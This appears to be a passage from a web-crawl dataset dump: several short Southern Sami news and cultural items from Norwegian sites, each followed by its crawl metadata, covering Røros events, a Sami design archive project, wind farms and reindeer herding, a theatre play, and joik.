bïerjesijjesne almetjidie daennie dajvesne jïh naanh jeatjah öörnemh circumfereensesne.\nSkïereden 27. biejjien bearjadahken gaajhkh dovnesh leah bööreme almetje-hiejem Maalmesijjesne dåeriedidh – eatnemeaerpien vaajmosne – gusnie idie daarpesjh maeksedh konseertem vuartasjidh jïh jarngen rïhpestimmie dåeriedidh. Dennie sceenesne Olav Luksengård Mjelva, Marja Mortenson, Transjoik jïh Dakota edtjieh tjåadtjodh. Museeumesne dïhte orre eatnemeaerpien vuesiehtimmie vååjnoe jïh vuesiehtimiem «Kunnskap om et kulturminne» aaj meatan – jïh idie daarpesjh naa maeksedh.\nSkïereden 28. biejjien laavadahken Rørosmuseet böörie circumfeerensese bussine mïnnedh. Laavadahken aereden fealadimmie Maalmesijjeste jåhta, jïh voestes tjöödtjestimmiesijjie lea Ålen, gusnie vuesiehtimmie Eidet sjïlkehtamme-gåetesne sjædta jïh dan mænngan lea baalkerdimmie museeumen lïhke. Minngeben tjöödtjestimmiesijjie lea Os gusnie edtja vuesiehtimmiem Tolga hæhtjosne årrodh. Dellie busse Femunden hæhtjose jåhta, gusnie baalkerdimmie eatnemeaerpesne sjædta åvtelen mijjieh bååstede Röörose juhtebe. Fealadimmie edtja abpe laavadahken årrodh, jïh maahta veeljedh jis sæjhta abpe fealadimmiem jallh baarre ovmessieh stuhtjem dåeriedidh. Novh hævvi aaj maahta heannadimmieh ovmessieh tjïeltine dåeriedidh. Dujnie lokaale heannadimmine ij daarpesh maeksedh.\nRørosmuseet hååhkesje gellie almetjh sijhtieh dåeriedidh jïh ahte dïhte heannadimmie almetji vueriem nænnoste\nDaah edtjieh meatan Maalmesijjesne spealadidh:","id":"","dump":"CC-MAIN-2019-51","url":"https:\/\/rorosnytt.no\/eatnemeaerpiejarnge-edtja-rihpestidh-bierjesijjien-jih-circumfeerensen-avteste\/","date":"2019-12-16T04:35:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541317967.94\/warc\/CC-MAIN-20191216041840-20191216065840-00357.warc.gz","language":"sma","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999924898147583}","num_words":245,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rætnoe lea minngemes biejjien datne maahtah Röörosen tjïeltese tjaeledh gie datne sïjhth edtja dam jïjtje-vieltien heevehtimmiem åadtjodh. Almetje jallh ovmessieh orgaanisasjovnh mah leah jïjnjem Röörosen siebriedahkese jïjtje-vieltien dorjeme maehtieh dam jïjtje-vieltien heevehtimmie åadtjodh. Dan heevehtimmien ulmie lea dej almetji jïjtje-vieltien lutnjedh jïh heevehtidh.\nMinngemes biejjien datne maahtah uvtelasse Röörsen tjïeltese seedtedh lea golken voestes biejjien.\nDah mah leah aarebi jïjtje-vieltien heevehtimmiem åådtjeme:\n2018 – Gunnar Berg\n2017 – ij gie åadtjoeji\n2016 – Ester Mikkelsen\n2015 – Gunhild Døhl\n2014 – Turutvalget meatan Harry Bakos jïh Olav Storli\n2013 – Sextus\n2012 – Inger Marie Frostvoll\nDatne maahtah vielie jïjtje-vieltien heevehtimmien bïjre Röörosen tjïelten nehtesæjrosne lohkedh.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/rorosnytt.no\/roorosen-tjielte-saejhta-govledh-gie-datne-sijhth-edtja-jijtje-vieltien-heevehtimmiem-aadtjodh\/","date":"2020-01-25T01:25:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250628549.43\/warc\/CC-MAIN-20200125011232-20200125040232-00070.warc.gz","language":"sma","language_score":0.9999659061,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999659061431885}","num_words":92,"character_repetition_ratio":0.144,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Meedije\nKommisjovnen tjåanghkoeh\nSaetniesvoete- jïh liktemekommisjovnen sisnjeles-tjåanghkoeh leah daahpeldihkie jis ij leah kommisjovne maam joem jeatjah nænnoestamme.\nGaahpoeh tjåanghkoeh\nKommisjovnen tjåanghkoeh leah gaahpan almetjidie. Tjåanghkojne kommisjovne jïjtse barkoen jïh mandaaten bïjre soptseste, jïh almetjh åadtjoeh dellie komisjovnem gihtjedidh. Meedije tjoevere jïjtsh latjkoeh kommisjovnine sjïehtesjidh.\nKommisjovnen tjaatsegh jïh våarhkoe\nKommisjovnen tjaatsegh tjöönghkesåvva sjïere våarhkose, maam sekretariaate reerie. Tjöönghkeldihkie materijaale våarhkoe-vearhkan geelkedåvva gosse komisjovne barkoem illeme.\nGuvvieh\nGuvvieh mah kommisjovnen kanaalide bïejesuvvieh, maehtieh åtnose vaeltedh gosse kommisjovnen barkoen bïjre tjaeledh. Mujhtieh, tjaelieh gïeh guvviedamme.\nJeatjah\nKommisjovnen barkoe lea mandaateste jïh Stoerredigkien tjåanghkoenjoelkedasseste §19 stuvrelgamme. Ektievoete kommisjovnen jïh meedijen gaskem lea nænnoestamme daejstie «Pressens etiske retningslinjer» jïh \"Vær varsom-plakaten (VVP)\".\nHåalomh, jiehtegh jïh bööremh\nKrise- og støttesamtaler i regi av SANKS\nSANKS tilbyr krise- og støttesamtaler om opplevelser knyttet til fornorskning og urett under kommisjonens arbeid. SANKS vil veilede aktuelle personer for videre henvisning til kommunen eller til spesialisthelsetjenesten.\n27.01.2020\nÅpne møter kan ses på YouTube\nSannhets- og forsoningskommisjonen har strømmet de åpne møter i Oslo og Trondheim. Filmene kan ses på YouTube for de som ønsker det.\n27.01.2020\nSannhetskommisjonen besøker Riddu Riđđu\nSannhets- og forsoningskommisjonen gjester urfolksfestivalen Riddu Riđđu denne uke. Liv Inger Somby, Marit Myrvoll, Anne Kalstad Mikkelsen og Dagfinn Høybråten vil møte festivaldeltakere.\n08.07.2019\nBlir utreder i sekretariatet\nAnna-Kaisa Räisänen (39) blir utreder i sekretariatet for Sannhets- og forsoningskommisjonen. Sekretariatet blir dermed fire personer fra august 2019.\n12.06.2019\nMøteplan for 2019\nSannhets- og forsoningskommisjonen har vedtatt møteplan for 2019. Se her når de møtes.\n11.03.2019\nLearning from other commissions\nThe Norwegian truth and reconciliation commission meets Jens Heinrich. The purpose was learning from the work done in Greenland.\n29.03.2019\nHer finner du innstillingen fra Stortinget\nStortingets presidentskap har avgitt innstilling til Stortinget om en kommisjon som skal granske fornorskingspolitikk og urett begått overfor samer, kvener og norskfinner.\n11.03.2019","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/es.uit.no\/kommisjonen\/presse_%C3%A5s","date":"2020-01-29T14:14:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251799918.97\/warc\/CC-MAIN-20200129133601-20200129163601-00445.warc.gz","language":"sma","language_score":0.9611802101,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9611802101135254, \"nob_Latn_score\": 0.023034730926156044, \"sme_Latn_score\": 0.013867532834410667}","num_words":286,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.056,"flagged_words_ratio":0.0,"lang_id_score":0.971,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte-geajnoe-gaskesadteme\n– Gaskesadteme libie ahte mijjieh råakebe, mijjieh goerkesadtebe jïh dam heannede dan biejjien. Libie hijven gaskesadteme råajvarimmien bïjre jïh damtaj råakebe, juktie hijven gaskesadtemem utnebe. Manne håhkoem gaskesadteme jåarhka jïh maahta buerbe sjïdtedh, jæhta Eivind Torblaa mij lea fïerhtenbeajjetjeåejvie Fosen Vindesne. –Gaskesadteme hijven gåerede jïs lea akte-geajnoe-gaskesadteme, beene jïs båatsoesaemieh utnebe åssjalommh jallh mïelh, geerve sjædta. Im tuhtjh gaskesadteme hijven vuestehkeste orreme, vaestede Terje Haugen mij lea Fovsen Njaarken noerhtensijten åejvie.","id":"","dump":"CC-MAIN-2020-05","url":"https:\/\/www.nrk.no\/sapmi\/akte-geajnoe-gaskesadteme--1.14822712","date":"2020-01-21T02:13:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250601241.42\/warc\/CC-MAIN-20200121014531-20200121043531-00205.warc.gz","language":"sma","language_score":0.9999854565,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999854564666748}","num_words":71,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Morrašiin mii leat ožžon dieđu ahte guokte ángiris ja movttidahtti NSR-ara leaba vádjolan. \/ Det er med sorg vi har mottatt beskjed om bortgangen til to aktive og inspirerende NSR-ere.Les mer\nBlogge\nMattis Danielsen fra Guevteli Saemieh NSR som var tilstede på gårsdagens grunneiermøte i Selbu har skrevet noen betraktninger om gårsdagens selsomme møteopplevelseLes mer\nNöörjen Saemiej Rïjhkesiebrie (NSR) akte dejstie lïhtsegesiebrijste Saemieraaresne. Laejhtemen mænngan, mij bööti Saemieraerien stoerretjåanhkoe, saemiekonferansen vööste, gosse ij gååvnesh åarjelsaemien toelhke, bellie organisasjovne mïeriedamme faala maeksedh akten biejjen toelhkestimmien åvteste.\n–Sïjhtebe viehkiehtidh guktie åarjelsaemien saadthalmetjh åadtjoeh konferansesne saemiestidh, joekoen daen jaepien gosse tjåanghkoe Tråntesne Tråante 2017 100-jaepieheevehtimmesne. Vihkeles Elsa Laula Renbergen gïele vååjnesisnie ojhte daen jaepien, NSR:en åejvie Beaska Niillas jeahta.\nNSR faala dle Saemieraaran maeksedh åarjelsaemien toelhkestimmien åvteste seminarebeajjan \"ellies Saepmie\", jis gååvnese toelhke gïe maahta dam darjodh. Beaska Niillas guarka geerve maeksedh toelhkestimmien gaajhkh saemien gïeli åvteste, mohte aaj barkij dan barkose gaavnedh.\n–Daajram man geerve onne organisasjovnese lea gelline gïeline barkedh. Dïhte hov akte dejstie stoerre haestemistie Saepmesne, gellieh gïelh, mohte vaenie beetnegh jïh gïelevierhtieh. Daejnie onne viehkine håhkesjibie mijjieh maehtebe viehkiehtidh annetje gujht dovhtesjidh dam gaskem mij gïeli gaskemsh, NSR:en åejvie jåarhka.\nI begynnelsen av november samlet grønlandske og samiske ungdommer seg i Nuuk i Kalaallit Nunaat\/Grønland for å lære mer om menneskerettigheter, urfolks internasjonale arbeid, samt urfolks rolle i arktis. For NSR-U deltok Marion Aslaksen Ravna (20), og her kan du lese hva hun har lært og erfart under oppholdet.\nDen sittende regjering møter kraftig motvind fra norsk jordbruk i årets jordbruksforhandlinger. Og det er ikke rart det brygger opp til storm i distrikts-Norge, politikken det legges opp til vil ikke gagne jordbruk i nord på noe vis. Les mer","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/nsr.no\/emne\/blogge\/?lang=sma","date":"2020-03-30T00:32:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370496330.1\/warc\/CC-MAIN-20200329232328-20200330022328-00236.warc.gz","language":"sma","language_score":0.9869247079,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9869247078895569, \"sme_Latn_score\": 0.01245509646832943}","num_words":277,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien jïlleskuvle, Saemien våarhkoe Ánarisnie Såevmesne jih Ájtte museume Jåhkåmåhkesne Sveerjesne leah 2017 raejeste 2019 raajan Interregprosjektem AIDA - Arctic Indigenous Design Archives tjïrrehtamme, jïh daelie sijhtieh daam prosjektem jåerhkedh aktine golmenjaepien prosjektine, man nomme AIDA 2.\nAIDA:n ulmie lea orreme våarhkoem tseegkedh vytnesjæjjide jïh tjiehpiedæjjide, juktie naemhtie saemien hammoedimmiedaajroem vaarjelidh jïh vuesiehtidh guhkiebasse. Prosjektesne materijaalem vöörhkeme mij lea tjöönghkesovveme duedtieprosessine, goh sjissah, barkoepryövh, guvvieh, prievieh jïh maarhkededoekemematerijaale.\nDuedtie-våarhkoeh åtnasuvvieh Saemien jïlleskuvleste duedtieööhpehtimmesne. Studeentide Saemien jïlleskuvlesne våarhkoeh jïh museume leah skraejriegaaltije lïerehtimmesne, gusnie aerpievuekien duedtine jïh vytnesjæjjaj persovneles histovrijinie åahpenieh, jïh aaj lierieh hammoedimmieåssjalommesidie digitaalelaakan vuesiehtidh.\nDaelie prosjekte sæjhta jåerhkedh dåarjojne Saemiedigkeste, jïh prosjekten åvtehke lea duedtieprofessovre Gunvor Guttorm. AIDA 2-prosjektesne edtja leavloem bïejedh innovasjovnese gusnie duedtie jïh våarhkoe edtjieh våaroeminie årrodh, seamma tïjjen goh edtja illedahkide orrelaakan vuesiehtidh. Prosjektesne sijhtieh barkoevuekide «aalkoealmetji vuekiej mietie»ï, mij sæjhta jiehtedh barkoevuekide saemien goerkesasse jïh vuekide sjïehtedidh.\n–Joekoen hijven laavenjostoe institusjovni gaskem saemiedehtemem eevtjie dej barkojne, seamma tïjjen goh dïhte tjïelke nåhtojne sjædta saemien vytnesjæjjide, saemiedigkiepresidente Aili Keskitalo (NSR) jeahta.\nDah edtjieh AIDA 2-prosjektem golme njieptjine tjirrehtidh. 2020 AIDA 2 sæjhta hammoedimmiem jih laavenjostoem aktöörigujmie prioriteradidh. 2021 sæjhta aalkoealmetji våarhkoeh, kurateringem jih sjïehtedimmiem goerehtidh. 2022 innovasjovnem jih tseegkemem orre duedtienuepijste jarngesne åtna.\n–Vihkeles duedtiem orrestidh duedtieinnovasjovni tjïrrh. Joekoen vihkeles vytnesjæjjah daelie nåhtoem innovasjovneste åadtjoeh jïh åadtjoeh barkedh juktie orre maarhkedem jaksedh mij lea båetijen aajkan sjïehtedamme, saemiedigkieraerie Silje K. Muotka (NSR) jeahta.\nDåarjoe lea vaaltasovveme dåarjoeöörnegistie Regijovnaale evtiedimmie.\nJis gihtjehtimmiem sïjhth jallh dov leah gyhtjelassh, gaskesadth saemiedigkieraeriem Silje Karine Muotka (NSR), mob. +47 984 87 576, firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Arctic-Indigenous-Design-Archives-2-daaarjoem-aaaadtje-Saemiedigkeste","date":"2020-05-30T14:03:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347409337.38\/warc\/CC-MAIN-20200530133926-20200530163926-00291.warc.gz","language":"sma","language_score":0.9999904633,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999904632568359}","num_words":242,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jon Henrik Fjellgren åehpies Sveerjesne jih dah jeatjah noerhte laantine sjidti, gåessie meatan lij «Talang Sverige 2014» daan Sveerjen TV3.\nIj dihte Sveerjen Televisjovne (SVT) maam sijhth jiehtedh, mejtie Fjällgren daan gaahtjemiss,e mubpien jaapan baahtsa.\nDaelie daejtie vuelide jih artistide veeljeminie, gieh mij åadtjoeh meatan Sveerjen MGPesne årrodh. Daan bijre rahkan asken SVTsne bievnieh.\nFjellgren lea åarjelsaemien båatsoe kaarre mij Mihteste båata.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.nrk.no\/sapmi\/mejtie-mgp-sjaedta-1.12000000","date":"2020-05-25T10:53:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347388427.15\/warc\/CC-MAIN-20200525095005-20200525125005-00234.warc.gz","language":"sma","language_score":0.9998785257,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9998785257339478}","num_words":61,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Don asken Gïelem Nastedh gellebe Gïeleviehkieh ohtsedi. Uktsie åarjelsaemien noerh ohtsemem tjeelin jïh daelie mijjieh daejrebe gieh dah orre Gïeleviehkieh leah. Daesnie dah orre Gïeleviehkieh:\n- Sanna Sofie Granefjell (Plassje)\n- Hilma Dunfjeld Mølnvik (Snåase)\n- Elli-Jonna Irmelin Joma (Snåase)\n- Jenny-Krihke Bendiksen (Glååmose jïh Prahke)\n- Jon Anta Eira-Åhrén (Snåase)\n- Jonna Dunfjeld Mølnvik (Snåase)\n- Maria Gunilla Påve Wilks (Snåase)\n- Mia Erika Sparrok (Namsskogan)\n- Neila-Issat Påve Wilks (Snåase)\nDaan våhkoen jïh båetijen våhkoen mijjieh åadtjobe Gïeleviehkiejgujmie instagrammesne åahpanidh juktie fïerhten biejjien dah edtjieh dej bïjre soptsestidh. Instagramme-profjilen nomme Gïeleviehkie.\nMij lea Gïeleviehkie-prosjeekte?\nGïeleviehkie lea prosjeekte mij Gïelem Nastedh Snåasesne evtebe jaepien eelki. Dan prosjeekten ulmie lea åarjelsaemiengïelem lutnjedh jïh sjïere noeride dïjpedh saemiestæmman. Dah noerh edtjieh ovmessie guvvieh jïh videovh Instagrammesne bïejedh jïh åarjelsaemiengïelem soptsestidh. Dah aaj edtjieh ovmessie saemien öörnemidie dåeriedidh, v.g. Raasten Rastah Plassjesne jïh Gïelevåhkoe Snåasesne.\nVuertesjh Instagrammesne jïh Gïeleviehkiejgujmie åahpenh!","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/daesnie-dah-orre-gieleviehkieh\/","date":"2020-06-02T22:50:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00066.warc.gz","language":"sma","language_score":0.9996076226,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9996076226234436}","num_words":139,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjehealsoeinstituhte lea aarebi jeahteme dah sijhtieh mijjieh edtjebe gåetesne årrodh. Naanh aejkien ibie daejrieh maam mijjieh maehtebe jallh sijhtebe gåetesne darjodh. Dannasinie manne leam onne læstoem dorjeme naanh tv-programmh åarjelsaemiej bïjre mejtie sïjhth vihth vuartasjidh.\nAerpiem\/Arven (2018)\nAerpiem lea njieljie stuhtjh dokumeentarefïlmh båeries vætnabarkoej bïrje. Dunnie njieljie stuhtjine maehtede jipsedaajhtijine, gjöörtlerinie, gierkietjoehpijinie jïh åarjelsaemien daajhtijinie åahpanidh. Gåalmeden stuhtjesne mijjieh åadtjobe Unni Fjellheim råakedh jïh dejnie åahpanidh. Dïhte sov åssjalommesh vætnan, båatsoen jïh jielemen bïjre soptseste jïh mannasinie vihkeles mijjen aerpiem gorredidh jïh lutnjedh. Mahtede daam NRK:sne vuartasjidh.\nDen stille kampen (2013)\nDen stille kampen lea dokumentaareraajroe saemiej jielemen bïjre. Njealjeden stuhtjen aamhtese lea gïele jïh daennie stuhtjesne maehtede Marja Helena Fjellheim Mortenson:inie åahpanidh. Marja lea jåarhkeskuvlesne lohkeminie jïh lyjhkoe åarjelsaemiengïelesne laavlodh, joejkedh jïh vuelide darjodh. Dïhte voestes sov fuelhkesne mij maahtah gåetesne årrodh mearan saemienööhpehtimmiem åtna. Juktie dejbeeli dah tjoerin guhkies juhtedh internaateskuvlesne lohkedh. Maehtede daam NRK:sne vuartasjidh.\nMattis og fritida hans (1989)\nMattis Danielsen lea 12 jaepien båeries jïh sïejhme skuvlebaernie mij Röörosisnie årroeminie. Dïhte åarjelsaemien baernie jïh båatsoefuelhkeste båata. Daennie onne dokumentaarefilmesne åadtjode Mattis råakedh jïh dejnie åahpanidh. Maethede daam NRK:sne vuartasjidh.\nÅtte årstider (2012)\nFuelhkiem Nordfjell Röörosisnie årroeminie jïh båatsojne jielieminie. Båatsoen askh leah 8 askine juekeme; Gijre, gijregiesie, giesie, tjaktjegiesie, tjaktje, tjaktjedaelvie, daelvie jïh gijredaelvie. Daennie raajrosne mijjieh åadtjobe dejgujmie åahpanidh. Daate raajroe aaj maehtede NRK:sne vuartasjidh.\nSørsamer (1979)\nDaate raajroe åadtjobe naanh åarjelsaemide råakedh jïh dah soptsestieh guktie lea saemie årrodh. V.g. Gaebpien Gåstan soptseste guktie lij sov nommem målsodh juktie staate dam nænnoesti. Daate joekoen gieltegs raajroe mij vuesehte gellie gæmhpoeh mah leah dallahmasten seamma daelie goh dillie.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/tv-programmh-aarjelsaemiej-bijre-mejtie-sijhth-vihth-vuartasjidh\/","date":"2020-06-03T00:27:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00011.warc.gz","language":"sma","language_score":0.9999905825,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999905824661255}","num_words":257,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepien 2016 NVE jeehti svïensk-tyske bïegkefaamoe-sïelte Eolus Wind åadtjoeji aelkedh bïegkefaamoeh Jillen-Njaarkesne bïgkedh, gusnie båatsoeburrieh bovtside juhtieh.\nDaelie Eolus Wind lea 64 kilomeetere geajnoem vaaran bïgkeminie gusnie dah edtjieh 75 bïegkefaamoeh tseegkedh. 55 kvadraatekilomeeterh gåatome bovtside gaarvanieh. Torstein Appfjell lea Jillen-Njaarken åvtehke jïh NRK:se jeahta båatsoe Helgeland:sne lea jïjnjem gåatomelaante dasseme.\nDaelie gïjrejuhteme lea aalkeme jïh joekoen geerve sjædta juktie dah tjuerieh industrijedajven tjïrrh juhtedh. Appfjell jeahta raeffiem vaajtelieh bovtside juhtedh. Eolus Wind lea uvtedamme mejtie båatsoeburrieh maehtieh krïevvh leessemebïjline jallh fergine saehtedh, mohte daam ij gåeredh juktie dah tjuerieh jïjtjh juhtedh.\nMåantan Øyfjellet Wind AS jeehti bïegkefaamoebïgkeme lea daelie tjöödtjehtamme juktie båatsoeburrieh maehtieh bovtside juhtedh. ij-gie daejrieh man guhkiem Øyfjell Wind AS edtja bïgkemem tjöödtjehtidh. Mohte bovtsh tjuerieh suehpedsbaelien åvtelen juhtedh.\nGellie almetjh leah bïegkefaamoej vööste gïrreme, mohte læjhkan Eolus Wind åådtje 75 bïegkefaamoeh tseegkedh. Båatsoeburrieh jiehtieh ij gåeredh båatsojne barkedh gosse lea dan soe gellie bïegkefaamoeh dej sïjtesne. Juktie gåatome gaarvene jïh bovtsh eah maehtieh industrijedajven tjïrrh juhtedh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/eolus-wind-lea-75-biegkefaamoeh-jillen-njaarkesne-tseegkeminie-naats-baatsoe\/","date":"2020-06-02T23:44:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00043.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":155,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.071,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hjiven Hov, Ylva!\nHjiven Hov, Ylva!\nDaennie monologesne åadtjode Ylvam råakedh; akte snöölhkenråaksoe Russlaanteste mij fahketji åarjelsaemien Tossåsen båatsoesïjtese dalva. Sov eevre sjïere genetihken gaavhtan varke åejvieladtji lyjhkedesnöölhkine sjædta mah stoerre vierhtieh læjkoeh juktie snöölhkem vaarjelidh. Dah sijhtieh Ylva edtja dan skandinavijen snöölhkenfuelhkien sisnjelen nevviehtidh jïh orre verries snöölhkh åadtjodh.\nTeaterestuhtje Ylvan bïjre saetnies soptsesistie båata mij stoerre tsåatskelesvoetem åådtjeme sveerjen meedijinie. Teaterestuhtjesne åadtjobe Ylvine åahpenidh jïh dam aktem stuhtjem geajnosne dåeriedibie. Åarjelhsaemien Teateren teaterestuhtje lea akte kreatijve boelhke dennie skandinavijen digkiedimmesne vaarjelamme juvri bïjre. Men aaj refleksjovne guktie lea dööpmesovvedh ajve sov tjoelen jïh naelien mietie, jïh mejtie maahta slïektem guhkiebasse jåerhkedh.\n«Lyckas man att förena dessa två, skrattet och allvaret, så lyckas man med mycket\noch det gör Åarjelhsaemien Teatere.\n»\n–\nI denne monologen får dere møte Ylva, en russisk ulvetispe som plutselig dukker opp i det sørsamiske reinbeitedistriktet Tossåsen. På grunn av sin helt unike genetiske sammensetning, blir hun raskt myndighetenes yndling og man setter inn store ressurser for å beskytte henne. Man ønsker at hun skal pare seg innenfor den innavlede skandinaviske ulvestammen, og føde nye friske ulver.\nFortellingen om Ylva er basert på en sann historie som har fått stor oppmerksomhet i svensk media. I forestillingen får vi lære å kjenne Ylva og følger henne et stykke på veien. Forestillingen fra Åarjelhsaemien Teatere er et kreativt innlegg i den skandinaviske debatten om fredet rovvilt. Men det er og en refleksjon om hvordan det er at kun bli bedømt ut ifra sitt kjønn, sin rase og evne til å forplante seg.\n«Det er skuespiller Leammuid Biret Rávdná som bærer stykket.»\n– Sagat\nDah mah meatan Medvirkende\nFealadimmielaajroe Turnèrute\nPreesse\/Öörnedæjja Presse\/Arrangør\nPressebilder til nedlasting, skal krediteres iht merking på bildet.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/asteatere.no\/vuesiehtimmieh\/hjiven-hov-ylva\/","date":"2020-07-04T06:39:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655884012.26\/warc\/CC-MAIN-20200704042252-20200704072252-00043.warc.gz","language":"sma","language_score":0.9351656437,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9351656436920166, \"nob_Latn_score\": 0.04720786586403847, \"sme_Latn_score\": 0.014198409393429756}","num_words":281,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.046,"flagged_words_ratio":0.0,"lang_id_score":0.944,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaebpien Gåsta:\nMijji saemiej kultuvredarjomesh leah iktesth tjabredovveme garre dïedtemen nuelesne mijjen kraannasalmetjistie, juktie sih leah jïjnjebelåhkosne. Goh mijjen båeries jaahkoe nåhkehti, dellie dovne joejkemem – mijjen åålmehmusigkem – bahhasvoetine jïh mearhtjoen dåemiedimmine bïedtehtovvi. Daanerijhken\/Nöörjen gånka, Kristian IV, bæjkoehti 1609:esne jaamemedåejmoem joejkijide.\nNoerhtene, gusnie saemieh lin jïjnjebelåhkosne, almetjh doestin bïedtehtimmiem vuastalidh. Debpene hov dovletji saemieh sivijle nïehkesjevoetem tseegkin: Almetjh joejkestin barkose jïh hïejesne, gåetesne jïh ålkene, tjïervesne jïh voerkesne. Åenehkslaakan tjïelkestamme; almetjh gaajhkh bïedtehtimmide vuastalin jïh tjuetiejaepiej tjïrrh joejkestin, eevre daan beajjan.\nMijjieh åarjelsaemieh, hov libie vaanesh jïh bårrojde årroeminie, darhkan libie garresommes dïedtelgimmiem mijjen kultuvrese damteme, jïh mijjjieh mih jïjtjh aaj vïenhteme daejnie dajvine gujhth joejkeme guhkiem joe jaavoelamme. Mohte mijjesne badth jielieminie, eevre goh joejkeme gïengeles guhkies åeriemisnie orreme. Mov boelvesne nov badth daamhtaj govlijimh guktie mijjen voeresh joejkemasse skejkehtin goh lin garre hujnesne, sårkosne jïh vaejvesne. Joejkemen tjïrrh damtesh jïh nåennieh luejhtiejin jïh vuelien viehken bueriemasse vuarkajin.\nNaan gille dïejvesh daam deahpadimmiem guvvedieh: Vueliej nille luajhtadidh – nov goh vuelesne sealkedh, gosse hujnies jïh stoerre vaejvesne. Vueliej nille båetedh – darhkan bæjjese vuelesne tjaevtedh, gosse aavosne, jïh sæjhta maam vuj guhte joem heevehtidh.\nVuelie - dan baakoen tjoeje lea goh svïhtjeminie, guktie almetje åådtje baakoen njuvvesne njyörtedh jïh baaja sealoem dejnie dïevhtedh – sårkosne jïh aavosne. Mænngan lea daennie njuvvesne mïnneme dellie sealoe lååjnehks jïh raeffies. Nov guktie sealoem binhteme. Aktem soetetjem mijjen jïjtsh aejkijste maahta dam guvvedh:\nVoeres saemien nyjsenæjja soptseste maam sutnjien deahpadi goh lij stoerre sårkosne jïh 